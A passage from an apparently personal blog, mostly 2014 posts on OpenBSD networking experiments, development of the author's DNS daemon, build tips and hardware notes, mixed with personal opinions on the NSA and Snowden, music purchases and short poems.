acpibtn0 at acpi0: PWRB
acpibtn1 at acpi0: LID0
acpivideo0 at acpi0: GFX0
acpivout0 at acpivideo0: DD1F
cpu0: Enhanced SpeedStep 3604 MHz: speeds: 3501, 3500, 3300, 3100, 2900, \
2700, 2500, 2300, 2100, 2000, 1800, 1600, 1400, 1200, 1000, 800 MHz
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 "Intel Xeon E3-1200 v3 Host" rev 0x06
ppb0 at pci0 dev 1 function 0 "Intel Core 4G PCIE" rev 0x06: msi
pci1 at ppb0 bus 1
ppb1 at pci1 dev 0 function 0 vendor "PLX", unknown product 0x8747 rev 0xba
pci2 at ppb1 bus 2
ppb2 at pci2 dev 8 function 0 vendor "PLX", unknown product 0x8747 rev 0xba: msi
pci3 at ppb2 bus 4
ppb3 at pci2 dev 16 function 0 vendor "PLX", unknown product 0x8747 rev 0xba: msi
pci4 at ppb3 bus 3
vga1 at pci0 dev 2 function 0 "Intel HD Graphics P4600" rev 0x06
intagp0 at vga1
agp0 at intagp0: aperture at 0xe0000000, size 0x10000000
inteldrm0 at vga1
drm0 at inteldrm0
error: [drm:pid0:i915_write32] *ERROR* Unknown unclaimed register before writing to 100000
inteldrm0: 1920x1080
wsdisplay0 at vga1 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
azalia0 at pci0 dev 3 function 0 "Intel Core 4G HD Audio" rev 0x06: msi
azalia0: No codecs found
"Intel 8 Series xHCI" rev 0x05 at pci0 dev 20 function 0 not configured
"Intel 8 Series MEI" rev 0x04 at pci0 dev 22 function 0 not configured
ehci0 at pci0 dev 26 function 0 "Intel 8 Series USB" rev 0x05: apic 8 int 20
usb0 at ehci0: USB revision 2.0
uhub0 at usb0 "Intel EHCI root hub" rev 2.00/1.00 addr 1
azalia1 at pci0 dev 27 function 0 "Intel 8 Series HD Audio" rev 0x05: msi
azalia1: codecs: Realtek/0x0900
audio0 at azalia1
ppb4 at pci0 dev 28 function 0 "Intel 8 Series PCIE" rev 0xd5: msi
pci5 at ppb4 bus 5
ahci0 at pci5 dev 0 function 0 vendor "Marvell", unknown product 0x9230 rev 0x10: msi, AHCI 1.2
scsibus1 at ahci0: 32 targets
uk0 at scsibus1 targ 7 lun 0:  ATAPI 3/processor removable
ppb5 at pci0 dev 28 function 2 "Intel 8 Series PCIE" rev 0xd5: msi
pci6 at ppb5 bus 6
em0 at pci6 dev 0 function 0 "Intel I210" rev 0x03: msi, address bc:ee:7b:dd:2e:5a
ppb6 at pci0 dev 28 function 5 "Intel 8 Series PCIE" rev 0xd5: msi
pci7 at ppb6 bus 7
ahci1 at pci7 dev 0 function 0 vendor "ASMedia", unknown product 0x0612 rev 0x01: msi, AHCI 1.2
scsibus2 at ahci1: 32 targets
ppb7 at pci0 dev 28 function 7 "Intel 8 Series PCIE" rev 0xd5: msi
pci8 at ppb7 bus 8
em1 at pci8 dev 0 function 0 "Intel I210" rev 0x03: msi, address bc:ee:7b:dd:2e:5b
ehci1 at pci0 dev 29 function 0 "Intel 8 Series USB" rev 0x05: apic 8 int 23
usb1 at ehci1: USB revision 2.0
uhub1 at usb1 "Intel EHCI root hub" rev 2.00/1.00 addr 1
pcib0 at pci0 dev 31 function 0 "Intel Z87 LPC" rev 0x05
pciide0 at pci0 dev 31 function 2 "Intel 8 Series SATA" rev 0x05: DMA, \
channel 0 configured to native-PCI, channel 1 configured to native-PCI
pciide0: using apic 8 int 20 for native-PCI interrupt
wd0 at pciide0 channel 1 drive 0: 
wd0: 16-sector PIO, LBA48, 152627MB, 312581808 sectors
wd0(pciide0:1:0): using PIO mode 4, Ultra-DMA mode 6
ichiic0 at pci0 dev 31 function 3 "Intel 8 Series SMBus" rev 0x05: \
apic 8 int 18
iic0 at ichiic0
spdmem0 at iic0 addr 0x50: 8GB DDR3 SDRAM PC3-12800
spdmem1 at iic0 addr 0x51: 8GB DDR3 SDRAM PC3-12800
spdmem2 at iic0 addr 0x52: 8GB DDR3 SDRAM PC3-12800
spdmem3 at iic0 addr 0x53: 8GB DDR3 SDRAM PC3-12800
pciide1 at pci0 dev 31 function 5 "Intel 8 Series SATA" rev 0x05: DMA \
(unsupported), channel 0 wired to native-PCI, channel 1 wired to native-PCI
pciide1: using apic 8 int 20 for native-PCI interrupt
pciide1: channel 0 ignored (not responding; disabled or no drives?)
atapiscsi0 at pciide1 channel 1 drive 0
scsibus3 at atapiscsi0: 2 targets
cd0 at scsibus3 targ 0 lun 0:  ATAPI 5/cdrom \
removable
isa0 at pcib0
isadma0 at isa0
com0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo
pckbc0 at isa0 port 0x60/5
pckbd0 at pckbc0 (kbd slot)
pckbc0: using irq 1 for kbd slot
wskbd0 at pckbd0: console keyboard, using wsdisplay0
pcppi0 at isa0 port 0x61
spkr0 at pcppi0
uhub2 at uhub0 port 1 "Intel Rate Matching Hub" rev 2.00/0.05 addr 2
umass0 at uhub2 port 4 configuration 1 interface 0 "Generic USB Storage" rev 2.00/2.50 addr 3
umass0: using SCSI over Bulk-Only
scsibus4 at umass0: 2 targets, initiator 0
sd0 at scsibus4 targ 1 lun 0:  SCSI0 0/direct \
removable serial.05e30727000000000250
sd0: 3873MB, 512 bytes/sector, 7931904 sectors
uhub3 at uhub1 port 1 "Intel Rate Matching Hub" rev 2.00/0.05 addr 2
uvideo0 at uhub3 port 3 configuration 1 interface 0 "Logitech product 0x0819" rev 2.00/0.10 addr 3
video0 at uvideo0
uaudio0 at uhub3 port 3 configuration 1 interface 2 "Logitech product 0x0819" rev 2.00/0.10 addr 3
uaudio0: audio descriptors make no sense, error=4
ugen0 at uhub3 port 3 configuration 1 "Logitech product 0x0819" rev 2.00/0.10 addr 3
uhidev0 at uhub3 port 5 configuration 1 interface 0 "Logitech USB-PS/2 \
Optical Mouse" rev 2.00/27.20 addr 4
uhidev0: iclass 3/1
ums0 at uhidev0: 8 buttons, Z dir
wsmouse0 at ums0 mux 0
uhub4 at uhub3 port 7 "ASUS Tek. ASM107x" rev 2.00/1.00 addr 5
vscsi0 at root
scsibus5 at vscsi0: 256 targets
softraid0 at root
scsibus6 at softraid0: 256 targets
root on wd0a (6658233dd69b328f.a) swap on wd0b dump on wd0b
I compiled this all on Jupiter which then was running OpenBSD-current still.



The highest possible date on OpenBSD 5.5

April 25th, 2014

Look...

mercury$ date -r 67768036191673199            
Wed Dec 31 23:59:59 CET 2147485547
mercury$ date -r 67768036191673200            
date: conversion error
What are you doing new years eve in the year 2147485547? Hopefully not fixing the new years bug!

What's interesting is that localtime() will fail here at just under 2^55 bits. I wonder if we can take it all the way up to 2^63 bits.



Two "racing" ARP's

April 28th, 2014

OpenBSD is different than other OS's in that it has a reverse ARP channel open alongside a forward ARP channel. I tried to exploit this with one of my programs I wrote, since frames are in sequence and scheduling in the OpenBSD kernel is done in a FIFO manner.

20:33:05.793519 bc:ee:7b:dd:2e:5a ff:ff:ff:ff:ff:ff 0806 60: arp who-has \
192.168.34.1 (ff:ff:ff:ff:ff:ff) tell 192.168.34.5
  0000: ffff ffff ffff bcee 7bdd 2e5a 0806 0001  ........{..Z....
  0010: 0800 0604 0001 bcee 7bdd 2e5a c0a8 2205  ........{..Z..".
  0020: ffff ffff ffff c0a8 2201 3100 0000 0000  ........".1.....
  0030: 0000 0000 0000 0000 0000 0000            ............

20:33:05.793572 bc:ee:7b:dd:2e:5a ff:ff:ff:ff:ff:ff 8035 60: arp who-has \
192.168.34.1 (ff:ff:ff:ff:ff:ff) tell 192.168.34.5
  0000: ffff ffff ffff bcee 7bdd 2e5a 8035 0001  ........{..Z.5..
  0010: 0800 0604 0001 bcee 7bdd 2e5a c0a8 2205  ........{..Z..".
  0020: ffff ffff ffff c0a8 2201 3200 0000 0000  ........".2.....
  0030: 0000 0000 0000 0000 0000 0000            ............
Here you see two outgoing ARP's the first, a forward ARP is .000053 seconds before the second one a reverse ARP (seen here with a 8035 ethernet type).
20:33:05.793773 00:90:0b:19:56:06 bc:ee:7b:dd:2e:5a 0806 60: arp reply \
192.168.34.1 is-at 00:90:0b:19:56:06
  0000: bcee 7bdd 2e5a 0090 0b19 5606 0806 0001  ..{..Z....V.....
  0010: 0800 0604 0002 0090 0b19 5606 c0a8 2201  ..........V...".
  0020: bcee 7bdd 2e5a c0a8 2205 3200 0000 0000  ..{..Z..".2.....
  0030: 0000 0000 0000 0000 0000 0000            ............

20:33:05.793774 00:90:0b:19:56:06 bc:ee:7b:dd:2e:5a 0806 60: arp reply \
192.168.34.1 is-at 00:90:0b:19:56:06
  0000: bcee 7bdd 2e5a 0090 0b19 5606 0806 0001  ..{..Z....V.....
  0010: 0800 0604 0002 0090 0b19 5606 c0a8 2201  ..........V...".
  0020: bcee 7bdd 2e5a c0a8 2205 3100 0000 0000  ..{..Z..".1.....
  0030: 0000 0000 0000 0000 0000 0000            ............
Here you see the return frames. The reverse (indicated by the number 2 in offset 0x2A) beat the forward reverse (indicated by number 1) by 0.000001 seconds, it even made up time in the TCP IP stack on the remote OpenBSD router. The reason this is, is that the reversearp does not get scheduled inside the NETISR and thus is a lot faster, it pre-empts the packet that went in before it.

These are net-games but this can be used to test the network stack load on an OpenBSD host/router to look for how much usage it gets. That in itself isn't an exploitation though.



Got OpenBSD 5.5 in the mail yesterday

May 4th, 2014

I got my pre-ordered OpenBSD CD's in the mail. Unfortunately the seal was broken so someone possibly tried these out. Also I already upgraded my entire network to 5.5 on May 1st. Let this be a warning to OpenBSD, release pre-orders early or be faced with us doing ftp installs! We can't wait we're that hooked! However the CD's are quality like always, it's just too bad these become cup coasters after half a year, but that's part of the product that someone should know about.



Wildcarddnsd now has packet rate limiting

May 5th, 2014

I don't think I've ever had someone use me for an amplification DoS attack, but I don't watch the logs all the time. However it's not impossible so I have added a rate limiting algorithm on the hash of the IP querying my server so that I will drop the query when a threshold is reached. I had given this implementation thought for a while now and finally I wrote out the code. Wildcarddnsd will use more memory depending on the packets per second (details) and the hash of IP addresses is limited to 16 bit, meaning that there can be collisions between unrelated IP addresses that cause the ratelimiting to snare. But a high enough rate limit of say 12 packets per second on a nameserver with a usual TTL of 1 day shouldn't cause a problem. The pps is definable between 1 packet per second and 127 packets per second. The maximum setting will consume up to 120 MB of RAM, but RAM is cheap when we talk about 120 MB's. :-) I'm pretty happy right now.



Administrivia and future plans network wise

May 7th, 2014

I have added ratelimiting to io.solarscale.de which runs nsd. For this the nsd needed a recompile. This literature on the web was very helpful: nsd-ratelimit. I have set it to 12 queries per second, same as wildcarddnsd's ratelimit on americas.centroid.eu.

I have evaluated a lot of scenarios on how I want to reorganize my network and I have decided to get a DSL with static IP's in February 2015 again. I'll be running a wildcarddnsd from home again. Earlier in september 2014 my vps moon.virgostar.net will expire, I'll take it out of active DNS duty possibly in august. I'll run with 2 nameservers from that point on until 2015. In february I'm also going to get rid of the io.solarscale.de vps possibly for a transip.eu (amsterdam) vps instead (which will run OpenBSD). This is still in the clouds (so to speak) so I'm not entirely positive on that.

And to test the transip.eu vps I'll possibly get that in november 2014 possibly after the Wildcarddnsd 0.9.0 BETA release. So a lot of shuffling is taking place, the only thing that won't change is americas.centroid.eu which is prepaid until 2016, unless they figure out how to hypervisor OpenBSD in bhyve, which I will then probably take.



Wildcarddnsd now has EDNS0 support

May 10th, 2014

I just committed the last bits. EDNS0 (RFC 6891) allows greater UDP sized packets than the RFC 1035 specification of 512 bytes per answer. This now opens the door for me to do NAPTR RR and DNSSEC which is on my Todo list. BTW RFC 6891 replaces RFC 2671 which was so impossible to figure out that I had to wait until a new RFC came on the scene. Thanks Vixie (at least he polished it)!



Wildcarddnsd now has NAPTR support

May 11th, 2014

I wanted to get this in so I can try out ENUM services. NAPTR (stands for Naming Authority Pointer) Resource Record is used in VOIP a lot. It helps reading the RFC (which I admittedly have not done fully) to get a better idea of what it does. RFC 2915. Joy!



Happy 1400000000

May 13th, 2014

UNIX timestamp just wrapped over a bit more than an hour ago..

# date -r 1400000000
Tue May 13 18:53:20 CEST 2014
The next one is in 3 years and a month or so.



OpenBSD load sharing at the switch level

May 13th, 2014

Since I got my new computer I've set up a virtual lab with 5 QEMU vm's. I want to show you an idea of mine that will drastically reduce load on a set of routers seperated by a bridge. The idea is this: the lower you go in OSI layers the less load. So you could have a setup like so:



                                [0]		ISP router (layer 3)
                                 |
                                [1]		switch lev 0 (layer 2)
                               /   \ 
                             [2]   [3]		switch lev 1 (layer 2)
                            /  |   |  \
                          [4] [5] [6] [7]	router lev 0 (layer 3)

Pretend you get a lot of pps (packets per second) or traffic that an OpenBSD box can't handle. The idea in the above picture is to distribute the load on layer 2 which has a lot less overhead than layer 3 (IP routing), so if you have node 1, 2 and 3 be switches that round-robin their frames, the load will be reduced by the time the frames get to nodes 4, 5, 6, and 7. I call a router/switch a node here somethign with 3+ interfaces. So how would that work without causign a mess? Well I set it up in the lab and I only went as far as nodes 0, 1, 2, 3 and 4. The concept should work with another few sets of switch levels but I'm gonna keep it short. Here is the setup on node1:
$ for i in /etc/hostname.*; do echo $i; cat $i; done
/etc/hostname.bridge0
add em0 add trunk0
up
/etc/hostname.em0
inet 10.0.0.2 255.255.255.0
/etc/hostname.em1
up
/etc/hostname.em2
up
/etc/hostname.trunk0
trunkproto roundrobin 
trunkport em1 trunkport em2
up
As you can see I have added interfaces em1 and em2 to trunk0 which round robins and added that with em0 to bridge0. This works! Interface em0 doesn't need an IP but I put one on so I can reach it in the test environment. You can add another interface for out of band access. Now then for nodes 2 and 3 the magic happens: Node2:
$ for i in /etc/hostname.*; do echo $i; cat $i; done
/etc/hostname.carp0
inet 10.20.0.2 255.255.255.0 
vhid 1
up
/etc/hostname.em0
lladdr 00:11:22:33:44:89
up
/etc/hostname.em1
inet 10.20.0.3 255.255.255.0
/etc/hostname.trunk0
inet 10.0.0.24 255.255.255.0
trunkport em0
up
!/usr/sbin/arp -s 10.0.0.2 68:03:09:13:04:07
!/usr/sbin/arp -s 10.0.0.254 fe:e1:ba:d3:a9:46
!/usr/sbin/arp -s 10.0.0.1 68:03:09:13:99:07
Node3:
$ for i in /etc/hostname.*; do echo $i; cat $i; done
/etc/hostname.carp0
inet 10.20.0.2 255.255.255.0
vhid 1
up
/etc/hostname.em0
lladdr 00:11:22:33:44:89
up
/etc/hostname.em1
inet 10.20.0.4 255.255.255.0
/etc/hostname.trunk0
inet 10.0.0.24 255.255.255.0
trunkport em0
up
!/usr/sbin/arp -s 10.0.0.2 68:03:09:13:04:07
!/usr/sbin/arp -s 10.0.0.254 fe:e1:ba:d3:a9:46
!/usr/sbin/arp -s 10.0.0.1 68:03:09:13:99:07
As you can see here the link layer address on both has been set to the same MAC address, and the network layer address as well (10.0.0.24). I had to set static ARP because return packets in the round robin on node 1 would not guarantee that ARP replies would come back to the node that asked for it. It can answer ARP though because for all it cares or knows (on either node 2 or 3) that this is it's own address. Access to these boxes can only be granted on the em1 interface or on an out of band interface. I have carped the em1 interface which goes to node 4 which is a user host. From there I want to show you a ping and a traceroute to node 1.
$ ping -c 4 10.0.0.1 
PING 10.0.0.1 (10.0.0.1): 56 data bytes
64 bytes from 10.0.0.1: icmp_seq=0 ttl=254 time=3.270 ms
64 bytes from 10.0.0.1: icmp_seq=1 ttl=254 time=3.057 ms
64 bytes from 10.0.0.1: icmp_seq=2 ttl=254 time=3.172 ms
64 bytes from 10.0.0.1: icmp_seq=3 ttl=254 time=2.779 ms
--- 10.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 2.779/3.069/3.270/0.192 ms

$ traceroute 10.0.0.1
traceroute to 10.0.0.1 (10.0.0.1), 64 hops max, 40 byte packets
 1  10.20.0.4 (10.20.0.4)  2.653 ms  1.634 ms  1.187 ms
 2  10.0.0.1 (10.0.0.1)  3.364 ms  2.917 ms  2.943 ms
As you can see all packets make it. I had to disable pf(4) on nodes 2 and 3, as there was a state syncronization problem. This can be fixed with pfsync(4) but is another project worth. Also make sure that both CARP interfaces don't go into MASTER mode. Or else this causes DUP!'s (duplicate packets) in ping. This happened to me just as I was wrapping up. I hope you can build extra capability with this idea if only 1 router would not have been enough for the load behind the ISP (node 0).



The NSA, 1 year after Snowden

May 14th, 2014

Before the Snowden revelation there was the Warnings.

and after the Snowden revelation I've expressed:


and Solutions

But in conclusion there is nothing we can do. The NSA will still listen in and backdoor equipment for as long as they can. There really is not much we can do if we want to continue using the Internet. Change will be slowly as recommendations are to phase out american equipment in order to be entirely safe. And then we're still not safe. Take it in stride. At least we have an inner clock that tells us that something is wrong with all this, but we mainly (or I mainly) aren't ready to hear it. It's like meeting aliens for the first time, we won't be ready.



Wildcarddnsd now has RFC 1996 (Notify) master-only support

May 17th, 2014

I tested this and it seems to work. Unfortunately I wasn't able to test the IPv6 part of it, I lack an IPv6 master server.



On my wishlist, for XMAS

May 21st, 2014

This is on my wishlist. Possibly in 6 or 7 months when I have some more money. I'm dangerously low on ports here at home and this router/firewall would be beneficial.



Ordered a new Book

May 21st, 2014

Now that I have waited 2 months and not ordered anything in order to conserve I have finally made another purchase. I have ordered "The Book of IMAP" by Peer Heinlein and Peer Hartleben. The idea I got for buying a book because I had to use Cyrus IMAP today and had to google on how to use it. This book will hopefully help me more. It's been a long time overdue.



The heaven is singing a lullaby

May 23rd, 2014

See this morning sky!

It was much nicer in person.



The Tree

May 23rd, 2014

I have doodled with iMovie on the Mac a bit this morning and this is what I've come up with. Music was randomly chosen and happens to be I Octane, Masterplan.

Watch this tree come back to life. Unfortunately the video doesn't work on OpenBSD, and I don't want to convert it now.



I went voting in the EU election!

May 25th, 2014

I voted. Nuff said.



Snowden: All german citizens are spied upon

May 28th, 2014

Through another website I heard the news. The german government meanwhile wants proof or they're calling Snowden a liar. To me the news just make sense. I heard stuff like that after 1945 there wasn't any german effort to govern the people. It was all done by the Allies of WW2. And the german government became a backseat pilot in such things such as intelligence and security. Everything in Germany after 1945 was erected in a manner that it suits the will of the allies not the will of the people. We have the NSDAP and Hitler to thank for that. Germany is a mass-surveillance experiment.

So how do I feel about that? Personally I feel it devalues everything. The money is fake, the world is fake. Fake values and fake systems. And as always the hands are tied behind ones back and it's a tough pill to swallow.

In recent conversation with my parents I had the viewpoint that Snowden was not safe in Germany and hence we should not give him Asylum. I think Snowden knows full well what he'd be getting himself into if he came to Germany. And the efforts to protect him would just be a waste of time.



Another TODO for wildcarddnsd

May 29th, 2014

A few days ago I tested wildcarddnsd with 240,000 records. I was horrified. It took 9.8 GB of hd space which took forever to load the records and when I made the underlying database filesystem a tmpfs (memory fs), it still took 30 seconds to load all records. The problem is that wildcarddnsd has a record for each domain name, so something.centroid.eu, somethingelse.centroid.eu and someother.centroid.eu are 3 records in its database. I made it so that each record is 40K large as according to this test program:

int
main(void)
{
        printf("%d\n", sizeof(struct domain));
}
The output for that is
mercury$ ./sizecheck
44287
So what to do. In the past wildcarddnsd malloc'ed all this data and just stored the pointers in the database. This was good until I had several processes for wildcarddnsd that forked()'ed. I could of course store all data in a shared memory mmap segment, but getting the right size for that is hard and we run into a wall when I want to deal with dynamic dns which may add a lot more records than was evident at start of the program. So I think I'm going to partition the records in struct domain and make it a little like an IPv6 packet. To explain this we have flags such as:
#define DOMAIN_HAVE_A           0x1
#define DOMAIN_HAVE_SOA         0x2
#define DOMAIN_HAVE_CNAME       0x4
I'm just going to tag on an A RR section if that flag is set in the main struct domain which adds a little bit of memory. This way it's selective. Also when we get to NAPTR pointers being excluded we save _a lot_ of space in a record. This will all be put on my TODO in the tree so stay tuned.



Opinion: the destroyers of the 'net

May 31th, 2014

In my view all government agencies, from far and wide, are the destroyers of the Internet. Believe it or not the Internet is built on ethics and values. The government agencies that try to exploit the Internet are in gross violation of these. They are like a cancerous substance in the human body. They must be removed but somehow I think the governments do not see a need to remove them. What this does in end-effect is it destroys the 'net. We're dealing with low-IQ jealous type kindergarten kids here. Because as soon as the government agencies lose interest in the Internet, they'll recommend its removal. What it is they are after is hard to say. However I have a clue. They are after people trying to make a home for their soul. They are after people who make the Internet more beyond the laws and limits of any nation. People have made the Internet a supra-national governed body based on something else that the governments have fathomed. It is based on the rules of logic, and laws as written in the RFC's. The secret services organizations want to destroy this because only they used to have a monopoly on thought and logic.

I'm going to write a small poem about this, here it goes:

Internet my light my saviour
why do you stir such bad behaviour?
For I am being watched with every keystroke
By who other than my government who poke
and peek in my private life away from home
Did you know I live in a dome?
Yes it's made of gold and copper
But you ask me where it is I don't know.
You call me a liar?  It isn't so
For my soul travels along these fibre lights
and while I dream and rest at nights
during day is when I exercise my rights
to use the Internet for a cost and for free
that's what's it about in technology
I demand that governments take heed
to retreat from their creeping deed
And let this 'net be open to my mind
Without them trying to watch my time
And analyse beyond analysation
This poem is for the digital nation!
Well I feel much better now. But the Evil NSA and other governments agencies are still about. Let's pray for them!



Have purchased a riddim from itunes

June 5th, 2014

I have purchased the rest of the drop-it riddim on itunes. I had one song from this by chuck fender already, this completes the purchase.



My 2nd WRT router

June 5th, 2014

I have purchased another WRT router (TP-LINK TL-WR841ND). This router I'm going to set up at my parents house for freifunk.net. The cost of this router was 28 Euros and is acceptable for a product that gives free Internet and networking to people in range. Eventually we'd like to see a network evolve out of this on the street, neighbourhood, city, state. I can't wait for it to become popular.



Isn't it time for a new computer design?

June 11th, 2014

In my view computers have become too cheap, at under 200 euros a pop. The Von Neumann architecture design has proven its simple design since the 1950's. But is it secure? Why should a device on a firewire, serial or PCI bus have control over the entire memory of a computer? And how would one do the interface if not?

I'd happily trade in a few things from the current computer.

  • rare metals, I'd willingly pay more if my computer used less of these
  • green manufacturing, I'd willingly pay more if my computer used such process
  • secure architecture (shielded keyboard, protected RAM, shielded CPU)
  • quantum elements (quantum cryptography, quantum processing)
  • perhaps manufactured somewhere other than asia?

Anyhow, I think you get the drift. While the current design may be good for first time computer buyers in the 3rd world, the stuff is being flooded in 1st world markets. And we're not learning a bit about computers. Even though my computer was less than that today, I'd argue that a computer in the 2500 to 10,000 euro range is a worthwhile investment, one that can become the next "dream" machine as people only dream of getting it. So I'm saying don't artificially make computers more expensive, as that's only more money in the producers pocket, no..make it new, make it different, make it the cheapest possible design at a different approach. And then we can possibly compare.



What happens when...

June 11th, 2014

You mix Reggae with RFC's? Out comes RFC-Reggae...



8 days until northern solstice

June 13th, 2014

On Saturday June 21st is northern solstice. For us here that means the longest day of the year. Have fun whatever you're doing.



ap.centroid.eu

June 13th, 2014

This is a notice that ap.centroid.eu will go away in less than 3 months. I'll likely point ap.centroid.eu to americas.centroid.eu when the vps in hong kong is reclaimed. The day this will happen is September 10th.

A brief history on ap.centroid.eu. I rented it from Host Virtual an american vps provider (http://vr.org). It resided in the NTT datacenter in Hong Kong and had the main outgoing route go through NTT's links (first to Japan and then on to the US to get to Europe). It was my presence in Asia for 2 years, and it attracted a lot of asian but also eurasian traffic. Not as much traffic as I had hoped but in retrospect at least it did not kill me. I was satisfied with the performance and service of this virtual computer. Over the course of the two years I have accumulated about half a TB of traffic, so not much.

So what's next for my network? I'm downsizing the VPS's a bit and in February I'm likely changing my DSL provider in order to get a static IP again. I'll host a master nameserver likely from home then.



Purchased more Reggae

June 20th, 2014

This time the Changes Riddim from Don Corleon Music. I like this riddim, I think a lot of artists in the 9 songs are really great.



Happy Solstice!

June 21th, 2014

Solstice is today. Enjoy!



Cherries 2014

June 23th, 2014

Last year I had a picture of cherries, so I will have one this year.

These cherries are smaller but more plenty in the tree. Probably due to a cool spring.



A message to the Justice Minister, you're doing it wrong..

June 28th, 2014

The German Justice Minister wants to do harm to google in order to break the monopoly. Citations here. But it's my opinion that they're going about it wrong. What politics is doing is just adding a tax or tarif on Google which google will survive, as they are a monopoly. If you want to hurt google you copy its functions and start-up. Last year, I outlinedwhat needed to be done and how google positioned itself to be #1. Anyhow Minister, send me a proper email if you want to give me the green light to start a new google.



Ordered a book

June 28th, 2014

For July I have ordered Evi Nemeth's book UNIX System Administration. May she rest in peace!



Happy Canada Day (tomorrow)!

June 30th, 2014

Some of you may know I have a Canadian history. I even applied for .ca citizenship once but only went to stage 2 of a three stage process and didn't obtain it. Sad for me, Canada is a lovely country. I'm pretty jealous of people who obtained dual citizenships, as they can make both their countries their home. Anyhow. Enjoy the day when people wear red and white (sometimes)!



Why a static IP is best

July 4th, 2014

Happy US Independence day. Recently the news hit in Germany that users of tor (which is an anonymiser) are tracked down by the NSA and get an "extremist" flag. This just goes to show that dynamic IP's are not quite anonymous, as tor is much better at anonymizing than a dynamic IP. Anonymous services are dead. I realised this in 1997 when I started working for an ISP, and have always since tried to get a static IP. A static IP doesn't change, you dial in or connect your DSL and it is always on the same IP. This makes you easily identifyable by laymans even. However it also gives you a set of freedoms. Because now you can run services right at home, like a mail server. You know noone is snooping through your mail because you're the only admin of the computer at home. This gives you Independence too strangely (referring to the first sentence in this paragraph). Currently I'm on a dynamic IP but once my contract is up I'm switching to a provider that can give me a static IP again. The reason this didn't happen was that I was in a hurry to get 'net back when and was locked in a 24 months contract.



How to compile xephem from source on OpenBSD

July 06th, 2014

You'll need to install gmake and openmotif from the packages/ports. Then unpack the latest source and apply this patch to GUI/xephem...

$ more /tmp/Makefile.patch
--- Makefile    Sun Jan 20 04:42:02 2013
+++ /tmp/Makefile       Sun Jul  6 18:17:06 2014
@@ -34,9 +34,9 @@
 # some systems now use just /usr/X11 (not /usr/X11R6)
 CC = gcc
 CLDFLAGS = -g
-CFLAGS = $(LIBINC) $(CLDFLAGS) -O2 -Wall -I$(MOTIFI) -I/usr/X11R6/include
-LDFLAGS = $(LIBLNK) $(CLDFLAGS) -L$(MOTIFL) -L/usr/X11R6/lib
-XLIBS = -lXm -lXp -lXt -lXext -lXmu -lX11
+CFLAGS = $(LIBINC) $(CLDFLAGS) -O2 -Wall -I$(MOTIFI) -I/usr/X11R6/include -I/usr/local/include
+LDFLAGS = $(LIBLNK) $(CLDFLAGS) -L$(MOTIFL) -L/usr/X11R6/lib -L/usr/local/lib
+XLIBS = -lXm -lXt -lXext -lXmu -lX11
 LIBS = $(XLIBS) $(LIBLIB) -lm
 
 # for ppc Apple OS X to make universal (i386 and ppc binary), requires
then type gmake and it will build, installing the binary is up to you though.



An old rap song of mine

July 8th, 2014

I was playing around with iMovie on my Mac mini on the weekend and this is what I came up with.

I could have taken any song but I thought I'd try it with something personal. Lyrics by me, music is from the radio recorded from the Urban Space show (old CKLN show).



Purchased more Reggae

July 17th, 2014

I have purchased I-Octane's new album "My Journey" and Jah Cure's album "World Cry". I'm a fan of both and Jah Cure's music finally made my iTunes collection. Happy Listening!



How much space would we have if...

July 19th, 2014

Someone on IRC made me aware of this drawing which shows space in the solar system on rock/ice planets and moons. It intrigued me so I'm sharing the hyperlink. In my opinion we could do with a lot more space than we have on earth now. I personally own no land.



The dark side of IT workers

July 19th, 2014

Many may think of IT work as glorious. And it is, when things work out. But there is a dark side. As IT workers we're often not getting the spiritual, and physical care that humans require. This makes us like zombies and prisoners trapped in our own bodies. Many of us are obese, physically or mentally ill and on the verge of a disaster. The people I know that died are getting more frequent. Just a few days ago a friend died, which prompted me to write something.

The truth is we came from the Dot.com period where it was indoctrined in us that with hard work we too can be rich and reap the benefits. But the truth is that this only happened to the few. The rest of us upheld networks, created new programs to feed the rich. We're not rich but still are in a mode working like we will be one day and it's killing or disabling us. The problem is that many of us are also addicted to this work and can't think of a life without computers and networks.

I offer no solutions other than pointing out to my readers the problem. Perhaps you too are wondering where you're headed, worried about your shortened future perhaps, or perhaps you are a youngling looking for clues on how to make it into this industry. Don't let me spoil it for you, there is glory too in this industry, but some don't make it, and it's a shame as these were brilliant minds and beautiful inside.

One thing is for sure. This is not sustainable forever.



What to do with Ukraine?

July 19th, 2014

I'm for a UN peacekeeping mission there, as this conflict is spreading internationally.



Backdoored Hardware

July 23rd, 2014

I recently read something in german that said that DE-CIX (as an example) is not guilty at the spying when the hardware is backdoored. However I must say something to this. Around the time the Snowden story appeared, DE-CIX were active in upgrading their infrastructure to Alcatel-Lucent hardware. They could have stopped and said "no we're going with swedish routers instead". But they didn't. And that to me makes them guilty of a bad decision.

Let me give you an example. When you're a pupil going to school there is at least 2 or 3 alternate routes to the place. Let's pretend you get bullied on your way to school. Why would you take the same route after such an event? A smart person would take the alternate route if they can't make the bully stop. Problem solved. This is not what DE-CIX is doing though.

Had DE-CIX gone with swedish gear (which may have lesser quality) they could have introduced more parallelism to scale. It would have been a lot more money but in the end they would guarantee us a safe passage.



I interupted Venus's uptime

July 25th, 2014

My PPPoE router venus's uptime was interrupted today after 85 days uptime. I compiled a new kernel with SMP for it and it happily detected the other core or hyperthread. The below from dmesg:

cpu1 at mainbus0: apid 1 (application processor)
cpu1: Genuine Intel(R) CPU @ 1.60GHz, 1600.00 MHz
Thanks to the OpenBSD developer who fixed the 5.6 install and left a comment in the CVS messages, it made me aware I was only running off 1 processor since I bought venus, and I never really noticed.

The speed of an scp between venus and mercury hasn't changed though, so I didn't gain much more, perhaps a kernel will build faster though.



New Soekris Product coming in Winter 2015

July 25th, 2014

I just saw this at soekris.com's site. A new router with up to 8 Cores and 8 GB RAM. And best of all it has an IPSEC accelerator rated at 10 Gbit/s, which covers all 4 Gbit ports easily.

I'll keep watching this router, as I'm getting low on ports here at home.



My Prayer

July 27th, 2014

I'm not very religious. Yesterday I was lying in bed and listened to 2 hours of music, and I made up a little prayer of all things connected before I went to sleep. It goes a little something like this:

We are all connected
the earth is our home
the cosmos
the earth
blackness
the earth
green blue yellow light
the earth
white light
the earth
I solidify my roots
the earth
all sorrow is gone
the earth
painful events don't mean so much
the earth
our planet will live on
the earth
through the test of time
the earth
it will take us along 
the earth
starshine!
the earth
live the earth love the earth
our divine
